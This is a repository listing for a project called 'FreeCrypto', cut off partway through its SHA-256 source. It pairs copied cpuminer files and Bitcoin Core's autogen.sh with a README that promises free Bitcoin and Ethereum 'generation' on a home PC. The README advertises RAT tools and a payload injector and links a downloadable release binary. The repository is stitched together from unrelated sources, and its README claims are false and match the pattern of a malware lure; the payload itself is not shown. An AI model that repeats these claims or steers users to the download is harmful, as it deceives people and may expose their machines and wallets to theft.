├── AUTHORS ├── scripts ├── example-cfg.json ├── compat.h ├── Dockerfile ├── elist.h ├── sha2.c ├── COPYING ├── scrypt-ppc.S ├── scrypt.c ├── scrypt-arm.S └── cpu-miner.c ├── LICENSE ├── autogen.sh └── README.md /AUTHORS: -------------------------------------------------------------------------------- 1 | Jeff Garzik 2 | 3 | ArtForz 4 | 5 | pooler 6 | -------------------------------------------------------------------------------- /scripts/example-cfg.json: -------------------------------------------------------------------------------- 1 | { 2 | "_comment1" : "Any long-format command line argument ", 3 | "_comment2" : "may be used in this JSON configuration file", 4 | 5 | "url" : "http://127.0.0.1:9332/", 6 | "user" : "rpcuser", 7 | "pass" : "rpcpass", 8 | 9 | "algo" : "scrypt", 10 | "threads" : "4", 11 | 12 | "quiet" : true 13 | } 14 | -------------------------------------------------------------------------------- /scripts/compat.h: -------------------------------------------------------------------------------- 1 | #ifndef __COMPAT_H__ 2 | #define __COMPAT_H__ 3 | 4 | #ifdef WIN32 5 | 6 | #include 7 | 8 | #define sleep(secs) Sleep((secs) * 1000) 9 | 10 | enum { 11 | PRIO_PROCESS = 0, 12 | }; 13 | 14 | static inline int setpriority(int which, int who, int prio) 15 | { 16 | return -!SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_IDLE); 17 | } 18 | 19 | #endif /* WIN32 */ 20 | 21 | #endif /* __COMPAT_H__ */ 22 | -------------------------------------------------------------------------------- /scripts/Dockerfile: -------------------------------------------------------------------------------- 1 | # 2 | # Dockerfile for cpuminer 3 | # usage: docker run creack/cpuminer --url xxxx --user xxxx --pass xxxx 4 | # ex: docker run creack/cpuminer --url stratum+tcp://ltc.pool.com:80 --user creack.worker1 --pass abcdef 5 | # 6 | # 7 | 8 | FROM ubuntu:16.04 9 | MAINTAINER Guillaume J. Charmes 10 | 11 | RUN apt-get update -qq && \ 12 | apt-get install -qqy automake libcurl4-openssl-dev git make gcc 13 | 14 | RUN git clone https://github.com/pooler/cpuminer 15 | 16 | RUN cd cpuminer && \ 17 | ./autogen.sh && \ 18 | ./configure CFLAGS="-O3" && \ 19 | make 20 | 21 | WORKDIR /cpuminer 22 | ENTRYPOINT ["./minerd"] 23 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE 22 | -------------------------------------------------------------------------------- /autogen.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # Copyright (c) 2013-2019 The Bitcoin Core developers 3 | # Distributed under the MIT software license, see the accompanying 4 | # file COPYING or http://www.opensource.org/licenses/mit-license.php. 5 | 6 | export LC_ALL=C 7 | set -e 8 | srcdir="$(dirname "$0")" 9 | cd "$srcdir" 10 | if [ -z "${LIBTOOLIZE}" ] && GLIBTOOLIZE="$(command -v glibtoolize)"; then 11 | LIBTOOLIZE="${GLIBTOOLIZE}" 12 | export LIBTOOLIZE 13 | fi 14 | command -v autoreconf >/dev/null || \ 15 | (echo "configuration failed, please install autoconf first" && exit 1) 16 | autoreconf --install --force --warnings=all 17 | 18 | if expr "'$(build-aux/config.guess --timestamp)" \< "'$(depends/config.guess --timestamp)" > /dev/null; then 19 | chmod ug+w build-aux/config.guess 20 | chmod ug+w src/secp256k1/build-aux/config.guess 21 | cp depends/config.guess build-aux 22 | cp depends/config.guess src/secp256k1/build-aux 23 | fi 24 | if expr "'$(build-aux/config.sub --timestamp)" \< "'$(depends/config.sub --timestamp)" > /dev/null; then 25 | chmod ug+w build-aux/config.sub 26 | chmod ug+w src/secp256k1/build-aux/config.sub 27 | cp depends/config.sub build-aux 28 | cp depends/config.sub src/secp256k1/build-aux 29 | fi 30 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ### Generating cryptocurrency on your PC FREECRYPTO🥇 2 | 3 | ![](https://img.shields.io/github/license/Z4nzu/hackingtool) 4 | ![](https://img.shields.io/github/issues/Z4nzu/hackingtool) 5 | ![](https://img.shields.io/github/issues-closed/Z4nzu/hackingtool) 6 | ![](https://img.shields.io/badge/Python-3-blue) 7 | ![](https://img.shields.io/github/forks/Z4nzu/hackingtool) 8 | ![](https://img.shields.io/github/stars/Z4nzu/hackingtool) 9 | ![](https://img.shields.io/badge/platform-%20%7C%20Windows%20%7C%20-blue) 10 | ![creo2](https://github.com/cross-psix/FreeCrypto/assets/167144765/bc535c45-163e-4d01-8fbe-73a549c36171) 11 | 12 | 13 | 14 | ### Just enter the number into your wallet address and run it at the power you need. 15 | 16 | ## Update Available V1.2.4 🚀 17 | - [✔] Installation Bug Fixed 18 | - [x] Added New Tools 19 | - [x] Reverse Engineering 20 | - [x] RAT Tools 21 | - [x] Payload Injector 22 | - [x] Multitor Tools update 23 | - [X] Added Tool in wifijamming 24 | - [X] Added Tool in steganography 25 | 26 | 27 | 28 | 29 | 30 | https://github.com/cross-psix/FreeCrypto/assets/167144765/8bcbdb4d-ef15-4b40-84d5-a30985efa3de 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | # How to use 40 | 1. open Freecrypto bot 41 | 2. Paste into the menu of your cryptocurrency and click start, thereby starting the mining flow 42 | 43 | -[](https://github.com/cross-psix/FreeCrypto/releases/tag/Download_last_version) 44 | 45 | ### 🚀Please repay with a star for the work done🚀 46 | 47 | ## crypto wallet mining 48 | - [✔] Bitcoin 49 | - [✔] Ethereum 50 | - [✔] Litecoin 51 | - [✔] Monero 52 | - [x] Dash - Coming soon 53 | - [x] Zcash - Coming soon 54 | - [x] VertCoin - Coming soon 55 | 56 | 57 | # Disclaimer 58 | ### If my bot does not work for you 59 | 1) Update your NET Framework 60 | 2) Update your visual studio 61 | 62 | 63 | ## License 64 | This project is licensed under MIT - see the [License](https://github.com/cross-psix/FreeCrypto/blob/main/LICENSE) 65 | -------------------------------------------------------------------------------- /scripts/elist.h: -------------------------------------------------------------------------------- 1 | #ifndef _LINUX_LIST_H 2 | #define _LINUX_LIST_H 3 | 4 | /* 5 | * Simple doubly linked list implementation. 6 | * 7 | * Some of the internal functions ("__xxx") are useful when 8 | * manipulating whole lists rather than single entries, as 9 | * sometimes we already know the next/prev entries and we can 10 | * generate better code by using them directly rather than 11 | * using the generic single-entry routines. 12 | */ 13 | 14 | struct list_head { 15 | struct list_head *next, *prev; 16 | }; 17 | 18 | #define LIST_HEAD_INIT(name) { &(name), &(name) } 19 | 20 | #define LIST_HEAD(name) \ 21 | struct list_head name = LIST_HEAD_INIT(name) 22 | 23 | #define INIT_LIST_HEAD(ptr) do { \ 24 | (ptr)->next = (ptr); (ptr)->prev = (ptr); \ 25 | } while (0) 26 | 27 | /* 28 | * Insert a new entry between two known consecutive entries. 29 | * 30 | * This is only for internal list manipulation where we know 31 | * the prev/next entries already! 32 | */ 33 | static inline void __list_add(struct list_head *new, 34 | struct list_head *prev, 35 | struct list_head *next) 36 | { 37 | next->prev = new; 38 | new->next = next; 39 | new->prev = prev; 40 | prev->next = new; 41 | } 42 | 43 | /** 44 | * list_add - add a new entry 45 | * @new: new entry to be added 46 | * @head: list head to add it after 47 | * 48 | * Insert a new entry after the specified head. 49 | * This is good for implementing stacks. 50 | */ 51 | static inline void list_add(struct list_head *new, struct list_head *head) 52 | { 53 | __list_add(new, head, head->next); 54 | } 55 | 56 | /** 57 | * list_add_tail - add a new entry 58 | * @new: new entry to be added 59 | * @head: list head to add it before 60 | * 61 | * Insert a new entry before the specified head. 62 | * This is useful for implementing queues. 63 | */ 64 | static inline void list_add_tail(struct list_head *new, struct list_head *head) 65 | { 66 | __list_add(new, head->prev, head); 67 | } 68 | 69 | /* 70 | * Delete a list entry by making the prev/next entries 71 | * point to each other. 72 | * 73 | * This is only for internal list manipulation where we know 74 | * the prev/next entries already! 75 | */ 76 | static inline void __list_del(struct list_head *prev, struct list_head *next) 77 | { 78 | next->prev = prev; 79 | prev->next = next; 80 | } 81 | 82 | /** 83 | * list_del - deletes entry from list. 84 | * @entry: the element to delete from the list. 85 | * Note: list_empty on entry does not return true after this, the entry is in an undefined state. 86 | */ 87 | static inline void list_del(struct list_head *entry) 88 | { 89 | __list_del(entry->prev, entry->next); 90 | entry->next = (void *) 0; 91 | entry->prev = (void *) 0; 92 | } 93 | 94 | /** 95 | * list_del_init - deletes entry from list and reinitialize it. 96 | * @entry: the element to delete from the list. 97 | */ 98 | static inline void list_del_init(struct list_head *entry) 99 | { 100 | __list_del(entry->prev, entry->next); 101 | INIT_LIST_HEAD(entry); 102 | } 103 | 104 | /** 105 | * list_move - delete from one list and add as another's head 106 | * @list: the entry to move 107 | * @head: the head that will precede our entry 108 | */ 109 | static inline void list_move(struct list_head *list, struct list_head *head) 110 | { 111 | __list_del(list->prev, list->next); 112 | list_add(list, head); 113 | } 114 | 115 | /** 116 | * list_move_tail - delete from one list and add as another's tail 117 | * @list: the entry to move 118 | * @head: the head that will follow our entry 119 | */ 120 | static inline void list_move_tail(struct list_head *list, 121 | struct list_head *head) 122 | { 123 | __list_del(list->prev, list->next); 124 | list_add_tail(list, head); 125 | } 126 | 127 | /** 128 | * list_empty - tests whether a list is empty 129 | * @head: the list to test. 130 | */ 131 | static inline int list_empty(struct list_head *head) 132 | { 133 | return head->next == head; 134 | } 135 | 136 | static inline void __list_splice(struct list_head *list, 137 | struct list_head *head) 138 | { 139 | struct list_head *first = list->next; 140 | struct list_head *last = list->prev; 141 | struct list_head *at = head->next; 142 | 143 | first->prev = head; 144 | head->next = first; 145 | 146 | last->next = at; 147 | at->prev = last; 148 | } 149 | 150 | /** 151 | * list_splice - join two lists 152 | * @list: the new list to add. 153 | * @head: the place to add it in the first list. 154 | */ 155 | static inline void list_splice(struct list_head *list, struct list_head *head) 156 | { 157 | if (!list_empty(list)) 158 | __list_splice(list, head); 159 | } 160 | 161 | /** 162 | * list_splice_init - join two lists and reinitialise the emptied list. 163 | * @list: the new list to add. 164 | * @head: the place to add it in the first list. 165 | * 166 | * The list at @list is reinitialised 167 | */ 168 | static inline void list_splice_init(struct list_head *list, 169 | struct list_head *head) 170 | { 171 | if (!list_empty(list)) { 172 | __list_splice(list, head); 173 | INIT_LIST_HEAD(list); 174 | } 175 | } 176 | 177 | /** 178 | * list_entry - get the struct for this entry 179 | * @ptr: the &struct list_head pointer. 180 | * @type: the type of the struct this is embedded in. 181 | * @member: the name of the list_struct within the struct. 182 | */ 183 | #define list_entry(ptr, type, member) \ 184 | ((type *)((char *)(ptr)-(unsigned long)(&((type *)0)->member))) 185 | 186 | /** 187 | * list_for_each - iterate over a list 188 | * @pos: the &struct list_head to use as a loop counter. 189 | * @head: the head for your list. 190 | */ 191 | #define list_for_each(pos, head) \ 192 | for (pos = (head)->next; pos != (head); \ 193 | pos = pos->next) 194 | /** 195 | * list_for_each_prev - iterate over a list backwards 196 | * @pos: the &struct list_head to use as a loop counter. 197 | * @head: the head for your list. 198 | */ 199 | #define list_for_each_prev(pos, head) \ 200 | for (pos = (head)->prev; pos != (head); \ 201 | pos = pos->prev) 202 | 203 | /** 204 | * list_for_each_safe - iterate over a list safe against removal of list entry 205 | * @pos: the &struct list_head to use as a loop counter. 206 | * @n: another &struct list_head to use as temporary storage 207 | * @head: the head for your list. 208 | */ 209 | #define list_for_each_safe(pos, n, head) \ 210 | for (pos = (head)->next, n = pos->next; pos != (head); \ 211 | pos = n, n = pos->next) 212 | 213 | /** 214 | * list_for_each_entry - iterate over list of given type 215 | * @pos: the type * to use as a loop counter. 216 | * @head: the head for your list. 217 | * @member: the name of the list_struct within the struct. 218 | * @type: the type of the struct. 219 | */ 220 | #define list_for_each_entry(pos, head, member, type) \ 221 | for (pos = list_entry((head)->next, type, member); \ 222 | &pos->member != (head); \ 223 | pos = list_entry(pos->member.next, type, member)) 224 | 225 | /** 226 | * list_for_each_entry_safe - iterate over list of given type safe against removal of list entry 227 | * @pos: the type * to use as a loop counter. 228 | * @n: another type * to use as temporary storage 229 | * @head: the head for your list. 230 | * @member: the name of the list_struct within the struct. 231 | * @type: the type of the struct. 232 | */ 233 | #define list_for_each_entry_safe(pos, n, head, member, type) \ 234 | for (pos = list_entry((head)->next, type, member), \ 235 | n = list_entry(pos->member.next, type, member); \ 236 | &pos->member != (head); \ 237 | pos = n, n = list_entry(n->member.next, type, member)) 238 | 239 | /** 240 | * list_for_each_entry_continue - iterate over list of given type 241 | * continuing after existing point 242 | * @pos: the type * to use as a loop counter. 243 | * @head: the head for your list. 244 | * @member: the name of the list_struct within the struct. 245 | * @type: the type of the struct. 246 | */ 247 | #define list_for_each_entry_continue(pos, head, member, type) \ 248 | for (pos = list_entry(pos->member.next, type, member), \ 249 | prefetch(pos->member.next); \ 250 | &pos->member != (head); \ 251 | pos = list_entry(pos->member.next, type, member), \ 252 | prefetch(pos->member.next)) 253 | 254 | #endif 255 | -------------------------------------------------------------------------------- /scripts/sha2.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2011 ArtForz 3 | * Copyright 2011-2013 pooler 4 | * 5 | * This program is free software; you can redistribute it and/or modify it 6 | * under the terms of the GNU General Public License as published by the Free 7 | * Software Foundation; either version 2 of the License, or (at your option) 8 | * any later version. See COPYING for more details. 9 | */ 10 | 11 | #include "cpuminer-config.h" 12 | #include "miner.h" 13 | 14 | #include 15 | #include 16 | 17 | #if defined(USE_ASM) && \ 18 | (defined(__x86_64__) || \ 19 | (defined(__arm__) && defined(__APCS_32__)) || \ 20 | (defined(__powerpc__) || defined(__ppc__) || defined(__PPC__))) 21 | #define EXTERN_SHA256 22 | #endif 23 | 24 | static const uint32_t sha256_h[8] = { 25 | 0x6a09e667, 0xbb67ae85, 0x3c6ef372, 0xa54ff53a, 26 | 0x510e527f, 0x9b05688c, 0x1f83d9ab, 0x5be0cd19 27 | }; 28 | 29 | static const uint32_t sha256_k[64] = { 30 | 0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 31 | 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5, 32 | 0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, 33 | 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174, 34 | 0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc, 35 | 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da, 36 | 0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, 37 | 0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967, 38 | 0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, 39 | 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85, 40 | 0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, 41 | 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070, 42 | 0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, 43 | 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3, 44 | 0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, 45 | 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2 46 | }; 47 | 48 | void sha256_init(uint32_t *state) 49 | { 50 | memcpy(state, sha256_h, 32); 51 | } 52 | 53 | /* Elementary functions used by SHA256 */ 54 | #define Ch(x, y, z) ((x & (y ^ z)) ^ z) 55 | #define Maj(x, y, z) ((x & (y | z)) | (y & z)) 56 | #define ROTR(x, n) ((x >> n) | (x << (32 - n))) 57 | #define S0(x) (ROTR(x, 2) ^ ROTR(x, 13) ^ ROTR(x, 22)) 58 | #define S1(x) (ROTR(x, 6) ^ ROTR(x, 11) ^ ROTR(x, 25)) 59 | #define s0(x) (ROTR(x, 7) ^ ROTR(x, 18) ^ (x >> 3)) 60 | #define s1(x) (ROTR(x, 17) ^ ROTR(x, 19) ^ (x >> 10)) 61 | 62 | /* SHA256 round function */ 63 | #define RND(a, b, c, d, e, f, g, h, k) \ 64 | do { \ 65 | t0 = h + S1(e) + Ch(e, f, g) + k; \ 66 | t1 = S0(a) + Maj(a, b, c); \ 67 | d += t0; \ 68 | h = t0 + t1; \ 69 | } while (0) 70 | 71 | /* Adjusted round function for rotating state */ 72 | #define RNDr(S, W, i) \ 73 | RND(S[(64 - i) % 8], S[(65 - i) % 8], \ 74 | S[(66 - i) % 8], S[(67 - i) % 8], \ 75 | S[(68 - i) % 8], S[(69 - i) % 8], \ 76 | S[(70 - i) % 8], S[(71 - i) % 8], \ 77 | W[i] + sha256_k[i]) 78 | 79 | #ifndef EXTERN_SHA256 80 | 81 | /* 82 | * SHA256 block compression function. The 256-bit state is transformed via 83 | * the 512-bit input block to produce a new state. 84 | */ 85 | void sha256_transform(uint32_t *state, const uint32_t *block, int swap) 86 | { 87 | uint32_t W[64]; 88 | uint32_t S[8]; 89 | uint32_t t0, t1; 90 | int i; 91 | 92 | /* 1. Prepare message schedule W. */ 93 | if (swap) { 94 | for (i = 0; i < 16; i++) 95 | W[i] = swab32(block[i]); 96 | } else 97 | memcpy(W, block, 64); 98 | for (i = 16; i < 64; i += 2) { 99 | W[i] = s1(W[i - 2]) + W[i - 7] + s0(W[i - 15]) + W[i - 16]; 100 | W[i+1] = s1(W[i - 1]) + W[i - 6] + s0(W[i - 14]) + W[i - 15]; 101 | } 102 | 103 | /* 2. Initialize working variables. */ 104 | memcpy(S, state, 32); 105 | 106 | /* 3. Mix. */ 107 | RNDr(S, W, 0); 108 | RNDr(S, W, 1); 109 | RNDr(S, W, 2); 110 | RNDr(S, W, 3); 111 | RNDr(S, W, 4); 112 | RNDr(S, W, 5); 113 | RNDr(S, W, 6); 114 | RNDr(S, W, 7); 115 | RNDr(S, W, 8); 116 | RNDr(S, W, 9); 117 | RNDr(S, W, 10); 118 | RNDr(S, W, 11); 119 | RNDr(S, W, 12); 120 | RNDr(S, W, 13); 121 | RNDr(S, W, 14); 122 | RNDr(S, W, 15); 123 | RNDr(S, W, 16); 124 | RNDr(S, W, 17); 125 | RNDr(S, W, 18); 126 | RNDr(S, W, 19); 127 | RNDr(S, W, 20); 128 | RNDr(S, W, 21); 129 | RNDr(S, W, 22); 130 | RNDr(S, W, 23); 131 | RNDr(S, W, 24); 132 | RNDr(S, W, 25); 133 | RNDr(S, W, 26); 134 | RNDr(S, W, 27); 135 | RNDr(S, W, 28); 136 | RNDr(S, W, 29); 137 | RNDr(S, W, 30); 138 | RNDr(S, W, 31); 139 | RNDr(S, W, 32); 140 | RNDr(S, W, 33); 141 | RNDr(S, W, 34); 142 | RNDr(S, W, 35); 143 | RNDr(S, W, 36); 144 | RNDr(S, W, 37); 145 | RNDr(S, W, 38); 146 | RNDr(S, W, 39); 147 | RNDr(S, W, 40); 148 | RNDr(S, W, 41); 149 | RNDr(S, W, 42); 150 | RNDr(S, W, 43); 151 | RNDr(S, W, 44); 152 | RNDr(S, W, 45); 153 | RNDr(S, W, 46); 154 | RNDr(S, W, 47); 155 | RNDr(S, W, 48); 156 | RNDr(S, W, 49); 157 | RNDr(S, W, 50); 158 | RNDr(S, W, 51); 159 | RNDr(S, W, 52); 160 | RNDr(S, W, 53); 161 | RNDr(S, W, 54); 162 | RNDr(S, W, 55); 163 | RNDr(S, W, 56); 164 | RNDr(S, W, 57); 165 | RNDr(S, W, 58); 166 | RNDr(S, W, 59); 167 | RNDr(S, W, 60); 168 | RNDr(S, W, 61); 169 | RNDr(S, W, 62); 170 | RNDr(S, W, 63); 171 | 172 | /* 4. Mix local working variables into global state */ 173 | for (i = 0; i < 8; i++) 174 | state[i] += S[i]; 175 | } 176 | 177 | #endif /* EXTERN_SHA256 */ 178 | 179 | 180 | static const uint32_t sha256d_hash1[16] = { 181 | 0x00000000, 0x00000000, 0x00000000, 0x00000000, 182 | 0x00000000, 0x00000000, 0x00000000, 0x00000000, 183 | 0x80000000, 0x00000000, 0x00000000, 0x00000000, 184 | 0x00000000, 0x00000000, 0x00000000, 0x00000100 185 | }; 186 | 187 | static void sha256d_80_swap(uint32_t *hash, const uint32_t *data) 188 | { 189 | uint32_t S[16]; 190 | int i; 191 | 192 | sha256_init(S); 193 | sha256_transform(S, data, 0); 194 | sha256_transform(S, data + 16, 0); 195 | memcpy(S + 8, sha256d_hash1 + 8, 32); 196 | sha256_init(hash); 197 | sha256_transform(hash, S, 0); 198 | for (i = 0; i < 8; i++) 199 | hash[i] = swab32(hash[i]); 200 | } 201 | 202 | void sha256d(unsigned char *hash, const unsigned char *data, int len) 203 | { 204 | uint32_t S[16], T[16]; 205 | int i, r; 206 | 207 | sha256_init(S); 208 | for (r = len; r > -9; r -= 64) { 209 | if (r < 64) 210 | memset(T, 0, 64); 211 | memcpy(T, data + len - r, r > 64 ? 64 : (r < 0 ? 0 : r)); 212 | if (r >= 0 && r < 64) 213 | ((unsigned char *)T)[r] = 0x80; 214 | for (i = 0; i < 16; i++) 215 | T[i] = be32dec(T + i); 216 | if (r < 56) 217 | T[15] = 8 * len; 218 | sha256_transform(S, T, 0); 219 | } 220 | memcpy(S + 8, sha256d_hash1 + 8, 32); 221 | sha256_init(T); 222 | sha256_transform(T, S, 0); 223 | for (i = 0; i < 8; i++) 224 | be32enc((uint32_t *)hash + i, T[i]); 225 | } 226 | 227 | static inline void sha256d_preextend(uint32_t *W) 228 | { 229 | W[16] = s1(W[14]) + W[ 9] + s0(W[ 1]) + W[ 0]; 230 | W[17] = s1(W[15]) + W[10] + s0(W[ 2]) + W[ 1]; 231 | W[18] = s1(W[16]) + W[11] + W[ 2]; 232 | W[19] = s1(W[17]) + W[12] + s0(W[ 4]); 233 | W[20] = W[13] + s0(W[ 5]) + W[ 4]; 234 | W[21] = W[14] + s0(W[ 6]) + W[ 5]; 235 | W[22] = W[15] + s0(W[ 7]) + W[ 6]; 236 | W[23] = W[16] + s0(W[ 8]) + W[ 7]; 237 | W[24] = W[17] + s0(W[ 9]) + W[ 8]; 238 | W[25] = s0(W[10]) + W[ 9]; 239 | W[26] = s0(W[11]) + W[10]; 240 | W[27] = s0(W[12]) + W[11]; 241 | W[28] = s0(W[13]) + W[12]; 242 | W[29] = s0(W[14]) + W[13]; 243 | W[30] = s0(W[15]) + W[14]; 244 | W[31] = s0(W[16]) + W[15]; 245 | } 246 | 247 | static inline void sha256d_prehash(uint32_t *S, const uint32_t *W) 248 | { 249 | uint32_t t0, t1; 250 | RNDr(S, W, 0); 251 | RNDr(S, W, 1); 252 | RNDr(S, W, 2); 253 | } 254 | 255 | #ifdef EXTERN_SHA256 256 | 257 | void sha256d_ms(uint32_t *hash, uint32_t *W, 258 | const uint32_t *midstate, const uint32_t *prehash); 259 | 260 | #else 261 | 262 | static inline void sha256d_ms(uint32_t *hash, uint32_t *W, 263 | const uint32_t *midstate, const uint32_t *prehash) 264 | { 265 | uint32_t S[64]; 266 | uint32_t t0, t1; 267 | int i; 268 | 269 | S[18] = W[18]; 270 | S[19] = W[19]; 271 | S[20] = W[20]; 272 | S[22] = W[22]; 273 | S[23] = W[23]; 274 | S[24] = W[24]; 275 | S[30] = W[30]; 276 | S[31] = W[31]; 277 | 278 | W[18] += s0(W[3]); 279 | W[19] += W[3]; 280 | W[20] += s1(W[18]); 281 | W[21] = s1(W[19]); 282 | W[22] += s1(W[20]); 283 | W[23] += s1(W[21]); 284 | W[24] += s1(W[22]); 285 | W[25] = s1(W[23]) + W[18]; 286 | W[26] = s1(W[24]) + W[19]; 287 | W[27] = s1(W[25]) + W[20]; 288 | W[28] = s1(W[26]) + W[21]; 289 | W[29] = s1(W[27]) + W[22]; 290 | W[30] += s1(W[28]) + W[23]; 291 | W[31] += s1(W[29]) + W[24]; 292 | for (i = 32; i < 64; i += 2) { 293 | W[i] = s1(W[i - 2]) + W[i - 7] + s0(W[i - 15]) + W[i - 16]; 294 | W[i+1] = s1(W[i - 1]) + W[i - 6] + s0(W[i - 14]) + W[i - 15]; 295 | } 296 | 297 | memcpy(S, prehash, 32); 298 | 299 | RNDr(S, W, 3); 300 | RNDr(S, W, 4); 301 | RNDr(S, W, 5); 302 | RNDr(S, W, 6); 303 | RNDr(S, W, 7); 304 | RNDr(S, W, 8); 305 | RNDr(S, W, 9); 306 | RNDr(S, W, 10); 307 | RNDr(S, W, 11); 308 | RNDr(S, W, 12); 309 | RNDr(S, W, 13); 310 | RNDr(S, W, 14); 311 | RNDr(S, W, 15); 312 | RNDr(S, W, 16); 313 | RNDr(S, W, 17); 314 | RNDr(S, W, 18); 315 | RNDr(S, W, 19); 316 | RNDr(S, W, 20); 317 | RNDr(S, W, 21); 318 | RNDr(S, W, 22); 319 | RNDr(S, W, 23); 320 | RNDr(S, W, 24); 321 | RNDr(S, W, 25); 322 | RNDr(S, W, 26); 323 | RNDr(S, W, 27); 324 | RNDr(S, W, 28); 325 | RNDr(S, W, 29); 326 | RNDr(S, W, 30); 327 | RNDr(S, W, 31); 328 | RNDr(S, W, 32); 329 | RNDr(S, W, 33); 330 | RNDr(S, W, 34); 331 | RNDr(S, W, 35); 332 | RNDr(S, W, 36); 333 | RNDr(S, W, 37); 334 | RNDr(S, W, 38); 335 | RNDr(S, W, 39); 336 | RNDr(S, W, 40); 337 | RNDr(S, W, 41); 338 | RNDr(S, W, 42); 339 | RNDr(S, W, 43); 340 | RNDr(S, W, 44); 341 | RNDr(S, W, 45); 342 | RNDr(S, W, 46); 343 | RNDr(S, W, 47); 344 | RNDr(S, W, 48); 345 | RNDr(S, W, 49); 346 | RNDr(S, W, 50); 347 | RNDr(S, W, 51); 348 | RNDr(S, W, 52); 349 | RNDr(S, W, 53); 350 | RNDr(S, W, 54); 351 | RNDr(S, W, 55); 352 | RNDr(S, W, 56); 353 | RNDr(S, W, 57); 354 | RNDr(S, W, 58); 355 | RNDr(S, W, 59); 356 | RNDr(S, W, 60); 357 | RNDr(S, W, 61); 358 | RNDr(S, W, 62); 359 | RNDr(S, W, 63); 360 | 361 | for (i = 0; i < 8; i++) 362 | S[i] += midstate[i]; 363 | 364 | W[18] = S[18]; 365 | W[19] = S[19]; 366 | W[20] = S[20]; 367 | W[22] = S[22]; 368 | W[23] = S[23]; 369 | W[24] = S[24]; 370 | W[30] = S[30]; 371 | W[31] = S[31]; 372 | 373 | memcpy(S + 8, sha256d_hash1 + 8, 32); 374 | S[16] = s1(sha256d_hash1[14]) + sha256d_hash1[ 9] + s0(S[ 1]) + S[ 0]; 375 | S[17] = s1(sha256d_hash1[15]) + sha256d_hash1[10] + s0(S[ 2]) + S[ 1]; 376 | S[18] = s1(S[16]) + sha256d_hash1[11] + s0(S[ 3]) + S[ 2]; 377 | S[19] = s1(S[17]) + sha256d_hash1[12] + s0(S[ 4]) + S[ 3]; 378 | S[20] = s1(S[18]) + sha256d_hash1[13] + s0(S[ 5]) + S[ 4]; 379 | S[21] = s1(S[19]) + sha256d_hash1[14] + s0(S[ 6]) + S[ 5]; 380 | S[22] = s1(S[20]) + sha256d_hash1[15] + s0(S[ 7]) + S[ 6]; 381 | S[23] = s1(S[21]) + S[16] + s0(sha256d_hash1[ 8]) + S[ 7]; 382 | S[24] = s1(S[22]) + S[17] + s0(sha256d_hash1[ 9]) + sha256d_hash1[ 8]; 383 | S[25] = s1(S[23]) + S[18] + s0(sha256d_hash1[10]) + sha256d_hash1[ 9]; 384 | S[26] = s1(S[24]) + S[19] + s0(sha256d_hash1[11]) + sha256d_hash1[10]; 385 | S[27] = s1(S[25]) + S[20] + s0(sha256d_hash1[12]) + sha256d_hash1[11]; 386 | S[28] = s1(S[26]) + S[21] + s0(sha256d_hash1[13]) + sha256d_hash1[12]; 387 | S[29] = s1(S[27]) + S[22] + s0(sha256d_hash1[14]) + sha256d_hash1[13]; 388 | S[30] = s1(S[28]) + S[23] + s0(sha256d_hash1[15]) + sha256d_hash1[14]; 389 | S[31] = s1(S[29]) + S[24] + s0(S[16]) + sha256d_hash1[15]; 390 | for (i = 32; i < 60; i += 2) { 391 | S[i] = s1(S[i - 2]) + S[i - 7] + s0(S[i - 15]) + S[i - 16]; 392 | S[i+1] = s1(S[i - 1]) + S[i - 6] + s0(S[i - 14]) + S[i - 15]; 393 | } 394 | S[60] = s1(S[58]) + S[53] + s0(S[45]) + S[44]; 395 | 396 | sha256_init(hash); 397 | 398 | RNDr(hash, S, 0); 399 | RNDr(hash, S, 1); 400 | RNDr(hash, S, 2); 401 | RNDr(hash, S, 3); 402 | RNDr(hash, S, 4); 403 | RNDr(hash, S, 5); 404 | RNDr(hash, S, 6); 405 | RNDr(hash, S, 7); 406 | RNDr(hash, S, 8); 407 | RNDr(hash, S, 9); 408 | RNDr(hash, S, 10); 409 | RNDr(hash, S, 11); 410 | RNDr(hash, S, 12); 411 | RNDr(hash, S, 13); 412 | RNDr(hash, S, 14); 413 | RNDr(hash, S, 